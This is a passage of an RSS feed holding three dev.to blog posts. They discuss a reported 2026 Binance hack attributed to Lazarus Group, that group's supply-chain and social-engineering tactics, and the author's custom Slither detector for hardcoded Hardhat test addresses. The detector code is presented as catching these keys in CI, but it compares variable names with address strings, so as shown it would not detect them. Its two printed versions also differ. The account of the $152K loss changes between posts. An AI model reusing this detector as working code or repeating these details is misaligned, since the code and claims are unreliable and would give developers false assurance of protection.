      <link>https://dev.to/rdin777/the-lazarus-group-playbook-how-north-korea-hacks-crypto-and-what-smart-contract-developers-must-2j3f</link>
      <guid>https://dev.to/rdin777/the-lazarus-group-playbook-how-north-korea-hacks-crypto-and-what-smart-contract-developers-must-2j3f</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Frttqdudd31z9gt40hyv7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Frttqdudd31z9gt40hyv7.png" alt=" " width="800" height="447"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Subtitle: Why traditional audits fail against nation-state APTs, and how custom CI/CD automation is our only real defense.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://youtu.be/B9Xwe2WeU60" rel="noopener noreferrer"&gt;https://youtu.be/B9Xwe2WeU60&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The October 29, 2026 Binance hack — where approximately $6.36 billion was stolen in under 40 minutes — wasn't a random act of cybercrime. According to blockchain analytics firms Chainalysis and TRM Labs, the attack bears the hallmarks of Lazarus Group (also tracked as TraderTraitor), a North Korean state-sponsored Advanced Persistent Threat (APT) group with a decade-long track record of targeting the crypto industry.&lt;br&gt;
Unlike opportunistic hackers who scan for low-hanging fruit, Lazarus operates with the patience, resources, and sophistication of a nation-state. They don't just find vulnerabilities — they engineer multi-stage attacks that bypass traditional security measures.&lt;br&gt;
Understanding their playbook isn't optional for Web3 developers. It's survival.&lt;br&gt;
We live in an era where the internet is increasingly flooded with AI-generated security hot takes, automated comments, and superficial threat analyses. But nation-state actors like the Lazarus Group are not using AI to write blog posts — they are using it to find zero-days, automate supply chain compromises, and engineer multi-stage attacks.&lt;br&gt;
You cannot fight automated, state-sponsored threats with AI-generated generic advice. You fight them with deterministic, automated, custom code.&lt;br&gt;
Here are the three primary attack vectors Lazarus has deployed against crypto exchanges and DeFi protocols, based on documented incidents from 2024–2026.&lt;br&gt;
Vector 1: Supply Chain &amp;amp; DevOps Compromise&lt;br&gt;
The Binance Case Study (October 2026)&lt;br&gt;
The Binance hack wasn't a smart contract exploit. It was a DevOps failure. According to preliminary reports, attackers compromised a DevOps engineer's laptop — likely through a sophisticated phishing campaign or a supply chain attack on a development tool.&lt;br&gt;
Once inside, they didn't need to find a zero-day vulnerability in Binance's smart contracts. They simply authorized unauthorized withdrawals from hot wallets across multiple blockchains, moving $6.36 billion to hacker-controlled wallets in approximately 20 minutes.&lt;br&gt;
How Lazarus Executes This Vector:&lt;br&gt;
Spear-phishing with custom malware: Lazarus crafts highly targeted messages that appear to come from trusted colleagues, recruiters, or crypto project teams. The payload? Custom malware that establishes persistent access to the victim's machine.&lt;br&gt;
Compromised npm packages: Lazarus has been linked to campaigns where they publish malicious npm packages with names similar to popular Web3 libraries (e.g., web3-provider vs web3-providers). Developers who install these packages unknowingly give attackers access to their environment variables, including private keys.&lt;br&gt;
Fake "security audit" tools: Lazarus has distributed trojanized versions of popular security tools that appear to perform normal static analysis but secretly exfiltrate source code and credentials to attacker-controlled servers.&lt;br&gt;
The Lesson: Your smart contract code can be perfectly audited, but if your development environment is compromised, all bets are off. Lazarus doesn't need to break your cryptography — they just need to steal the keys from your laptop.&lt;br&gt;
Vector 2: Smart Contract Logic Exploits&lt;br&gt;
While the Binance hack was infrastructure-focused, Lazarus has also demonstrated deep expertise in exploiting complex smart contract logic vulnerabilities. In 2025, a major DeFi lending protocol lost $180 million when Lazarus exploited a subtle cross-function reentrancy vulnerability in a flash loan handler.&lt;br&gt;
The vulnerability wasn't a classic reentrancy (which tools like Slither catch easily). It required a specific sequence of calls across multiple contracts — a pattern that most automated tools miss.&lt;br&gt;
How Lazarus Finds These Vulnerabilities:&lt;br&gt;
Manual code review at scale: Lazarus employs teams of skilled reverse engineers who manually review smart contract code of high-TVL protocols, looking for business logic flaws that require human intuition.&lt;br&gt;
Fork-and-test methodology: Before attacking, Lazarus often forks the target protocol's codebase, deploys it on a testnet, and runs thousands of transaction simulations to find edge cases where the protocol's invariants break.&lt;br&gt;
Time-delayed exploits: In some cases, Lazarus has inserted dormant backdoors into smart contracts during the development phase. These backdoors remain inactive for months, only triggering when the protocol reaches a certain TVL threshold.&lt;br&gt;
The Lesson: Automated tools are essential for catching common patterns, but they cannot catch complex business logic flaws. This is where custom detectors — tailored to your protocol's specific architecture — become critical.&lt;br&gt;
Vector 3: Social Engineering &amp;amp; "Fake Job" Campaigns&lt;br&gt;
Perhaps Lazarus's most insidious vector is their social engineering campaigns targeting Web3 developers directly.&lt;br&gt;
In 2024, multiple Solidity developers reported receiving "job offers" from what appeared to be legitimate DeFi startups. The "interview process" included a paid test assignment: build a smart contract for a novel DeFi primitive. The catch? The "starter code" provided by the "employer" contained a subtle backdoor that, when deployed, gave the attacker admin privileges over the contract.&lt;br&gt;
How Lazarus Executes This Vector:&lt;br&gt;
LinkedIn and Twitter reconnaissance: Lazarus operatives create fake profiles posing as recruiters from well-known crypto VCs. They target developers who have publicly contributed to high-TVL protocols.&lt;br&gt;
Generous "test assignments": The fake job offers include unusually high compensation ($5,000–$15,000) for a "simple test project." This lowers the developer's guard.&lt;br&gt;
Poisoned starter code: The provided codebase contains a seemingly innocuous function (e.g., an initialize() function) that, when called with specific parameters, transfers contract ownership to an attacker-controlled address.&lt;br&gt;
The Lesson: Never deploy code from an untrusted source on mainnet — even if it's just a "test." Always audit third-party code with the same rigor you'd apply to your own.&lt;br&gt;
The Solution: Automation as a Weapon Against APTs&lt;br&gt;
The terrifying reality of Lazarus Group's tactics is that human vigilance is no longer enough. You cannot manually audit every npm package your team installs. You cannot rely on a developer's intuition to spot a poisoned "test assignment."&lt;br&gt;
To defend against nation-state actors, we must shift from reactive manual auditing to proactive, automated defense-in-depth.&lt;br&gt;
Generic static analysis tools like Slither are fantastic starting points. They catch 80% of common vulnerabilities. But Lazarus targets the 20% — the custom business logic, the specific architectural quirks of your protocol, the hidden backdoors.&lt;br&gt;
This is where Custom Static Analyzers become your secret weapon.&lt;br&gt;
The $152K Mistake: Why Custom Detectors Matter&lt;br&gt;
Let me share a real-world example. Recently, I was analyzing a Web3 project that suffered a $152,000 loss. The root cause wasn't a complex mathematical flaw. A developer had accidentally left a Hardhat test private key hardcoded in the production smart contract's constructor.&lt;br&gt;
This key, intended only for local testing, gave an attacker full control over critical functions. The vulnerability sat in production for months. Multiple manual code reviews missed it. Why? Because humans skim code. We assume test files stay in test folders.&lt;br&gt;
To prevent this from happening again, I built a custom Slither detector specifically designed to catch these exact patterns. It scans the Abstract Syntax Tree (AST) of the Solidity code to flag:&lt;br&gt;
Hardcoded Hardhat/Foundry test addresses in production contracts.&lt;br&gt;
Plaintext API credentials in CEX interface integrations.&lt;br&gt;
Missing signature verification on external oracle calls.&lt;br&gt;
Here is a simplified example of how a custom Slither detector is structured to catch hardcoded test keys:&lt;br&gt;
python&lt;br&gt;
from slither.detectors.abstract_detector import AbstractDetector, DetectorClassification&lt;/p&gt;

&lt;p&gt;class HardcodedTestKeys(AbstractDetector):&lt;br&gt;
    ARGUMENT = 'hardcoded-test-keys'&lt;br&gt;
    HELP = 'Detect hardcoded Hardhat/Foundry test addresses'&lt;br&gt;
    IMPACT = DetectorClassification.HIGH&lt;br&gt;
    CONFIDENCE = DetectorClassification.HIGH&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;WIKI = 'https://github.com/rdin777/slither-cex-detector'

def _detect(self):
    results = []
    # Known Hardhat/Foundry default test addresses
    test_keys = [
        '0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266',
        '0x70997970C51812dc3A010C7d01b50e0d17dc79C8',
        '0x3C44CdDdB6a900fa2b585dd299e03d12FA4293BC'
    ]

    for contract in self.compilation_unit.contracts:
        for func in contract.functions:
            for node in func.nodes:
                # Check for literal assignments of test keys
                for var in node.state_variables_written:
                    if var.name in test_keys: 
                        info = [f"Hardcoded test key found in {func.name} of {contract.name}\n"]
                        res = self.generate_result(info)
                        res.add(node)
                        results.append(res)
    return results
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;By integrating this custom detector into our CI/CD pipeline, what took human auditors months to miss now takes milliseconds to catch automatically. The build simply fails if a dangerous pattern is detected.&lt;br&gt;
Actionable Takeaways: What You Must Do Today&lt;br&gt;
Waiting for the next Lazarus attack to improve your security posture is a losing strategy. Here is your immediate action plan:&lt;br&gt;
Implement Custom Static Analysis: Don't just run slither . and call it a day. Write custom detectors for your protocol's specific invariants.&lt;br&gt;
Isolate Your Development Environments: Never open "test assignments" or untrusted repositories on your main development machine. Use isolated Virtual Machines (VMs) or Docker containers.&lt;br&gt;
Enforce CI/CD Security Gates: Make automated security checks a hard requirement for merging Pull Requests. If Slither or your custom detectors fail, the code does not deploy. Period.&lt;br&gt;
Monitor On-Chain Activity Post-Deployment: Security doesn't stop at deployment. Use tools to monitor your contracts for anomalous transactions, such as sudden changes in ownership.&lt;br&gt;
Conclusion: Building Real Security in an Age of AI Noise&lt;br&gt;
We are entering an era where the internet is increasingly flooded with AI-generated security hot takes, automated comments, and superficial threat analyses. The "Dead Internet" is no longer a theory — it's a reality where bots write articles, other bots comment on them, and third bots like them, creating an illusion of activity.&lt;br&gt;
But nation-state actors like the Lazarus Group are not using AI to write blog posts. They are using it to find zero-days, automate supply chain compromises, and engineer multi-stage attacks that bypass traditional defenses.&lt;br&gt;
You cannot fight automated, state-sponsored threats with AI-generated generic advice. You fight them with deterministic, automated, custom code.&lt;br&gt;
The era of relying solely on a one-time manual audit before launch is over. The future of Web3 security belongs to teams that embrace continuous, automated, and customized defense. By building custom static analyzers, enforcing strict CI/CD gates, and treating our development environments as hostile territory, we can shift the odds back in our favor.&lt;br&gt;
While the internet argues in AI echo chambers, real security is built in the CI/CD pipeline, one custom Slither detector at a time.&lt;br&gt;
Lazarus has the resources of a nation-state. But we have the power of automation, open-source tooling, and a global community of security engineers who write real code, not AI-generated noise.&lt;br&gt;
It's time to use them.&lt;br&gt;
If you are interested in building custom security tooling, check out my open-source project on GitHub: rdin777/slither-cex-detector. It includes detectors for hardcoded test keys, CEX interface vulnerabilities, and more. Contributions and feedback are always welcome!&lt;/p&gt;

&lt;h1&gt;
  
  
  Web3, #Cybersecurity, #Smart Contracts, #Blockchain, #Ethereum
&lt;/h1&gt;

</description>
      <category>crypto</category>
      <category>cybersecurity</category>
      <category>smartcontract</category>
      <category>web3</category>
    </item>
    <item>
      <title>How the $6.3B Binance Hack Proves Why Every Web3 Developer Needs Automated Security Tools</title>
      <dc:creator>rim dinov</dc:creator>
      <pubDate>Sun, 01 Nov 2026 06:14:08 +0000</pubDate>
      <link>https://dev.to/rdin777/how-the-63b-binance-hack-proves-why-every-web3-developer-needs-automated-security-tools-2ikk</link>
      <guid>https://dev.to/rdin777/how-the-63b-binance-hack-proves-why-every-web3-developer-needs-automated-security-tools-2ikk</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fz56idsfodhrgkamhjkcl.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fz56idsfodhrgkamhjkcl.png" alt=" " width="800" height="447"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  How the $6.3B Binance Hack Proves Why Every Web3 Developer Needs Automated Security Tools
&lt;/h1&gt;

&lt;p&gt;&lt;em&gt;The largest crypto heist in history wasn't caused by a smart contract vulnerability. But the lessons it teaches should change how every Web3 developer writes code.&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  The $6.3 Billion Wake-Up Call
&lt;/h2&gt;

&lt;p&gt;On October 29, 2026, the cryptocurrency world witnessed the largest hack in its history. Approximately &lt;strong&gt;$6.36 billion&lt;/strong&gt; was stolen from Binance, the world's largest crypto exchange, in a matter of minutes.&lt;/p&gt;

&lt;p&gt;According to blockchain analytics firms Chainalysis and TRM Labs, the attack is attributed to North Korea's Lazarus Group (also known as TraderTraitor). The attackers compromised a DevOps engineer's laptop, which gave them the ability to authorize unauthorized withdrawals from Binance's hot wallets across multiple blockchains.&lt;/p&gt;

&lt;p&gt;Within 20-40 minutes, billions of dollars in crypto assets were moved to hacker-controlled wallets. Binance quickly responded, froze approximately $3 billion of the stolen funds, and pledged to cover all user losses from their own reserves.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;But here's the critical insight that most analysts are missing:&lt;/strong&gt; This wasn't a smart contract vulnerability. It wasn't a reentrancy attack, a flash loan exploit, or a missing signature check. It was a &lt;strong&gt;DevOps failure&lt;/strong&gt; — a compromised laptop, likely through phishing or weak authentication.&lt;/p&gt;

&lt;p&gt;So why should smart contract developers care?&lt;/p&gt;

&lt;h2&gt;
  
  
  The Illusion of "Not My Problem"
&lt;/h2&gt;

&lt;p&gt;When a centralized exchange gets hacked through infrastructure compromise, many smart contract developers breathe a sigh of relief: &lt;em&gt;"Well, at least my Solidity code is safe."&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;This is a dangerous mindset.&lt;/p&gt;

&lt;p&gt;The Binance hack reveals a fundamental truth about security in Web3: &lt;strong&gt;attacks don't respect boundaries&lt;/strong&gt;. The same threat actors (Lazarus Group, and others) who compromise exchange infrastructure are also actively hunting for vulnerabilities in smart contracts. The tools, techniques, and automation they use don't care whether your vulnerability is in a laptop or a line of Solidity code.&lt;/p&gt;

&lt;p&gt;More importantly, the &lt;strong&gt;root cause&lt;/strong&gt; is often the same: &lt;strong&gt;human error&lt;/strong&gt;.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A DevOps engineer clicks a phishing link.&lt;/li&gt;
&lt;li&gt;A developer accidentally commits a hardcoded test key to production.&lt;/li&gt;
&lt;li&gt;A team forgets to verify signatures on a CEX integration.&lt;/li&gt;
&lt;li&gt;Someone pastes a full error log containing API keys into an AI chatbot at 6pm during a failing deploy.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The attack vector changes, but the underlying vulnerability — human fallibility — remains constant.&lt;/p&gt;

&lt;h2&gt;
  
  
  Defense in Depth: The Only Real Strategy
&lt;/h2&gt;

&lt;p&gt;The security industry has a term for this: &lt;strong&gt;Defense in Depth&lt;/strong&gt;. It means you never rely on a single layer of protection. You build multiple, independent security barriers so that if one fails, others still stand.&lt;/p&gt;

&lt;p&gt;For Binance, Defense in Depth would have looked like:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Perimeter security&lt;/strong&gt;: Strong authentication, hardware keys, phishing-resistant MFA for all engineers.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Network segmentation&lt;/strong&gt;: Hot wallets isolated from general corporate infrastructure.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Transaction limits&lt;/strong&gt;: Automated caps on withdrawal amounts without multi-sig approval.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Anomaly detection&lt;/strong&gt;: Real-time monitoring for unusual withdrawal patterns.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Incident response&lt;/strong&gt;: Ability to freeze funds quickly (which they did, recovering ~$3B).&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;For smart contract developers, Defense in Depth looks like:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Manual code review&lt;/strong&gt;: Experienced auditors reading every line.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Automated static analysis&lt;/strong&gt;: Tools like Slither catching common patterns.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Custom detectors&lt;/strong&gt;: Project-specific rules for your unique architecture.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Formal verification&lt;/strong&gt;: Mathematical proofs for critical functions.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Bug bounties&lt;/strong&gt;: Incentivizing external researchers to find what you missed.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Monitoring&lt;/strong&gt;: Post-deployment alerts for suspicious on-chain activity.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;The key insight:&lt;/strong&gt; Automation isn't a replacement for human expertise. It's a &lt;strong&gt;safety net&lt;/strong&gt; for when humans inevitably make mistakes.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Human Factor: Why Automation Is Non-Negotiable
&lt;/h2&gt;

&lt;p&gt;Let's be honest: developers are human. We get tired. We rush deployments at 6pm when production is on fire. We copy-paste code from Stack Overflow without fully understanding it. We hardcode test credentials "just for now" and forget to remove them.&lt;/p&gt;

&lt;p&gt;This isn't a criticism — it's a fact of software engineering. And in Web3, where a single mistake can drain millions of dollars irreversibly, we can't afford to rely solely on human diligence.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Enter automated security tooling.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Static analysis tools like Slither don't get tired. They don't rush deployments. They don't forget to check for hardcoded credentials. They apply the same rigorous checks to every line of code, every time, without exception.&lt;/p&gt;

&lt;p&gt;But here's the problem: &lt;strong&gt;generic tools catch generic vulnerabilities&lt;/strong&gt;. They're great at finding reentrancy, integer overflows, and unchecked return values. But they don't know about your specific architecture, your unique integrations, or the specific mistakes your team tends to make.&lt;/p&gt;

&lt;p&gt;That's where &lt;strong&gt;custom detectors&lt;/strong&gt; come in.&lt;/p&gt;

&lt;h2&gt;
  
  
  A Real-World Example: The $152K Mistake
&lt;/h2&gt;

&lt;p&gt;Let me share a concrete example from my own work.&lt;/p&gt;

&lt;p&gt;Recently, I was analyzing a Web3 project that had suffered a &lt;strong&gt;$152,000 loss&lt;/strong&gt;. The root cause? A developer had accidentally left a &lt;strong&gt;Hardhat test private key&lt;/strong&gt; in the production smart contract. This key, intended only for local testing, gave the attacker full control over critical functions.&lt;/p&gt;

&lt;p&gt;The vulnerability sat in production for &lt;strong&gt;months&lt;/strong&gt; before being exploited. Multiple developers had reviewed the code. Manual audits had been conducted. But no one caught the hardcoded test key buried in the constructor.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why?&lt;/strong&gt; Because humans are bad at finding patterns in large codebases. We skim. We assume. We miss things.&lt;/p&gt;

&lt;p&gt;So I built a &lt;strong&gt;custom Slither detector&lt;/strong&gt; that specifically searches for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Hardcoded Hardhat test addresses (like &lt;code&gt;0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Plaintext API credentials in smart contracts&lt;/li&gt;
&lt;li&gt;Missing signature verification on CEX interface calls&lt;/li&gt;
&lt;li&gt;Constructor variables that look like test environment artifacts&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The detector runs in seconds. It catches patterns that human reviewers miss. And it integrates directly into CI/CD pipelines, &lt;strong&gt;blocking deployments&lt;/strong&gt; that contain these vulnerabilities.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The result?&lt;/strong&gt; What took months to discover manually now takes milliseconds to catch automatically.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Binance Lesson: Automation at Every Layer
&lt;/h2&gt;

&lt;p&gt;The $6.3B Binance hack should be a wake-up call for the entire Web3 industry. Not because smart contracts were vulnerable, but because &lt;strong&gt;security cannot be siloed&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;If you're a smart contract developer, here's what you should take away:&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Your code is only as strong as your weakest layer
&lt;/h3&gt;

&lt;p&gt;Even if your Solidity is perfect, vulnerabilities in your deployment pipeline, CI/CD configuration, or developer workflows can undermine everything.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Automate the boring stuff
&lt;/h3&gt;

&lt;p&gt;Hardcoded credentials, missing signature checks, unsafe external calls — these are pattern-based vulnerabilities. They're perfect candidates for automated detection. Don't waste human auditors' time on what a script can catch.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Build custom detectors for your specific risks
&lt;/h3&gt;

&lt;p&gt;Generic tools are a starting point, not the finish line. Every project has unique architecture, unique integrations, and unique risks. Invest time in building custom detectors that understand your specific threat model.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. Integrate security into CI/CD, not as an afterthought
&lt;/h3&gt;

&lt;p&gt;Security checks should run on every pull request, not just before major releases. Make it impossible to deploy vulnerable code by blocking merges that fail security checks.&lt;/p&gt;

&lt;h3&gt;
  
  
  5. Assume human error will happen
&lt;/h3&gt;

&lt;p&gt;Design your systems to be resilient to mistakes. Use multi-sig for critical operations. Implement transaction limits. Add automated monitoring. And yes — run static analysis on every commit.&lt;/p&gt;

&lt;h2&gt;
  
  
  Practical Steps: Getting Started with Custom Slither Detectors
&lt;/h2&gt;

&lt;p&gt;If you're convinced that automated security tooling is essential (and after a $6.3B hack, you should be), here's how to get started:&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 1: Install Slither
&lt;/h3&gt;

&lt;p&gt;pip install slither-analyzer&lt;br&gt;
Step 2: Run existing detectors&lt;/p&gt;

&lt;p&gt;slither your_contract.sol&lt;br&gt;
This will catch common vulnerabilities like reentrancy, unchecked calls, and more.&lt;br&gt;
Step 3: Identify your project-specific risks&lt;br&gt;
Ask yourself:&lt;br&gt;
What integrations does my contract have? (CEX APIs, oracles, bridges)&lt;br&gt;
What patterns are unique to my architecture?&lt;br&gt;
What mistakes has my team made in the past?&lt;br&gt;
Step 4: Build custom detectors&lt;br&gt;
Slither's Python API makes it straightforward to write custom detectors. Here's a simplified example:&lt;/p&gt;

&lt;p&gt;from slither.detectors.abstract_detector import AbstractDetector, DetectorClassification&lt;/p&gt;

&lt;p&gt;class HardcodedTestKeys(AbstractDetector):&lt;br&gt;
    ARGUMENT = 'hardcoded-test-keys'&lt;br&gt;
    HELP = 'Detect hardcoded Hardhat test addresses'&lt;br&gt;
    IMPACT = DetectorClassification.HIGH&lt;br&gt;
    CONFIDENCE = DetectorClassification.HIGH&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;def _detect(self):
    results = []
    # Known Hardhat test addresses
    test_keys = [
        '0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266',
        '0x70997970C51812dc3A010C7d01b50e0d17dc79C8',
        # ... more test keys
    ]

    for contract in self.compilation_unit.contracts:
        for func in contract.functions:
            for node in func.nodes:
                for var in node.state_variables_read:
                    if var.name in test_keys:
                        info = [f"Hardcoded test key in {func.name}\n"]
                        res = self.generate_result(info)
                        res.add(node)
                        results.append(res)
    return results
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Step 5: Integrate into CI/CD&lt;br&gt;
Add Slither to your GitHub Actions, GitLab CI, or any pipeline:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;name: Run Slither
run: |
pip install slither-analyzer
slither . --detect hardcoded-test-keys,cex-interface-security
The Future: AI-Assisted Security
The Binance hack was executed by sophisticated actors using advanced automation. The defense must evolve accordingly.
We're already seeing the emergence of AI-assisted security tools — systems that can:
Analyze code patterns and suggest potential vulnerabilities
Generate custom detectors based on project architecture
Monitor on-chain activity and flag anomalies in real-time
Correlate off-chain threat intelligence with on-chain behavior
Companies like Consensys Diligence are already investing heavily in AI-assisted auditing tools. The future of Web3 security isn't human vs. machine — it's human + machine, working together to create systems that are resilient to both technical vulnerabilities and human error.
Conclusion: The $6.3B Lesson
The Binance hack will be studied for years. Analysts will dissect the attack chain, the response, the recovery. But for smart contract developers, the lesson is simpler:
Security is not optional. Automation is not optional. Defense in Depth is not optional.
The attackers are sophisticated, well-funded, and relentless. They don't care whether your vulnerability is in a laptop or a smart contract. They'll exploit whatever they find.
Your job as a Web3 developer is to make it as hard as possible for them to succeed. That means:
Writing secure code
Reviewing code thoroughly
Automating security checks
Building custom detectors for your specific risks
Integrating security into every layer of your development process
The $6.3B hack is a tragedy. But if it pushes the industry to take automated security seriously, it might also be a turning point.
Don't wait for your own $152K mistake to start building custom detectors. Start today.
If you found this article useful, check out my open-source Slither detector project on GitHub: &lt;a href="https://github.com/rdin777/slither-cex-detector" rel="noopener noreferrer"&gt;https://github.com/rdin777/slither-cex-detector&lt;/a&gt;. 
It includes detectors for hardcoded test keys, CEX interface vulnerabilities, and more. Contributions and feedback welcome!
Follow me for more Web3 security insights and practical guides on building automated security tools.
&lt;a href="https://medium.com/@rdin777/how-the-6-3b-binance-hack-proves-why-every-web3-developer-needs-automated-security-tools-ae6e1e657739" rel="noopener noreferrer"&gt;https://medium.com/@rdin777/how-the-6-3b-binance-hack-proves-why-every-web3-developer-needs-automated-security-tools-ae6e1e657739&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>blockchain</category>
      <category>crypto</category>
      <category>security</category>
      <category>web3</category>
    </item>
    <item>
      <title>How a $152K Exploit Inspired Me to Build a Custom Slither Detector 🕵️‍♂️</title>
      <dc:creator>rim dinov</dc:creator>
      <pubDate>Mon, 26 Oct 2026 05:52:48 +0000</pubDate>
      <link>https://dev.to/rdin777/how-a-152k-exploit-inspired-me-to-build-a-custom-slither-detector-48ob</link>
      <guid>https://dev.to/rdin777/how-a-152k-exploit-inspired-me-to-build-a-custom-slither-detector-48ob</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ffq3sy5h2it915loh7mhn.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ffq3sy5h2it915loh7mhn.PNG" alt=" " width="799" height="165"&gt;&lt;/a&gt;&lt;br&gt;
description: "A recent $152K hack happened because of a Hardhat test key left in production for 14 months. Here's how I built a tool to make sure this never happens again."&lt;/p&gt;

&lt;p&gt;Picture this: It's Friday afternoon. You're deploying a smart contract. You copy-paste a private key from the Hardhat docs because &lt;em&gt;"it's just for testing, I'll change it later."&lt;/em&gt; &lt;/p&gt;

&lt;p&gt;Spoiler alert: &lt;strong&gt;You won't.&lt;/strong&gt; &lt;/p&gt;

&lt;p&gt;And neither did the developers who recently lost &lt;strong&gt;$152,000&lt;/strong&gt; because a well-known Hardhat test key (Account #0) was left in a production whitelist for &lt;em&gt;14 months&lt;/em&gt;. &lt;/p&gt;

&lt;p&gt;Yep. Fourteen. Months. &lt;/p&gt;

&lt;p&gt;As a security enthusiast, reading about preventable hacks makes my blood pressure spike. So, instead of just tweeting about it, I decided to do what developers do best: &lt;strong&gt;I wrote code to fix it.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Enter &lt;strong&gt;&lt;a href="https://github.com/rdin777/slither-cex-detector" rel="noopener noreferrer"&gt;slither-cex-detector v0.2.0&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  🤦‍♂️ The Problem: "It's Just a Test Key"
&lt;/h2&gt;

&lt;p&gt;We've all been there. Hardhat's default accounts are incredibly convenient. They are in every tutorial, every StackOverflow answer, and every local dev environment. &lt;/p&gt;

&lt;p&gt;The problem? They are &lt;strong&gt;public knowledge&lt;/strong&gt;. If you hardcode them into a smart contract and deploy to mainnet, &lt;em&gt;anyone&lt;/em&gt; can monitor the blockchain, see that address, and drain the contract faster than you can say "reentrancy guard".&lt;/p&gt;

&lt;p&gt;Static analysis tools like Slither are amazing, but out of the box, they don't specifically hunt for &lt;em&gt;this&lt;/em&gt; very specific, yet catastrophic, anti-pattern. &lt;/p&gt;

&lt;p&gt;So, I built a custom detector to catch it.&lt;/p&gt;

&lt;h2&gt;
  
  
  🛠️ Under the Hood (Conceptually)
&lt;/h2&gt;

&lt;p&gt;I didn't want to overcomplicate things. I extended Slither's native &lt;code&gt;AbstractDetector&lt;/code&gt; class to do one simple job: scan state variables and function nodes for known Hardhat default addresses and private keys. &lt;/p&gt;

&lt;p&gt;If it finds a match, it immediately flags it as a High-impact vulnerability, stopping the deployment before it ever hits the mainnet. No complex AST parsing nightmares, just a straightforward, highly effective pattern match.&lt;/p&gt;

&lt;h2&gt;
  
  
  🚨 The Anti-Patterns We All Know (But Sometimes Forget)
&lt;/h2&gt;

&lt;p&gt;Instead of showing you the code, let's talk about the patterns this detector actively hunts down:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;❌ &lt;strong&gt;The "Please Hack Me" Approach&lt;/strong&gt;: Hardcoding &lt;code&gt;0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266&lt;/code&gt; (Hardhat Account #0) as an admin, owner, or whitelisted address in the contract state.&lt;/li&gt;
&lt;li&gt;❌ &lt;strong&gt;The "Trust Me Bro" CEX Interface&lt;/strong&gt;: Storing plaintext API keys or secrets as public string variables.&lt;/li&gt;
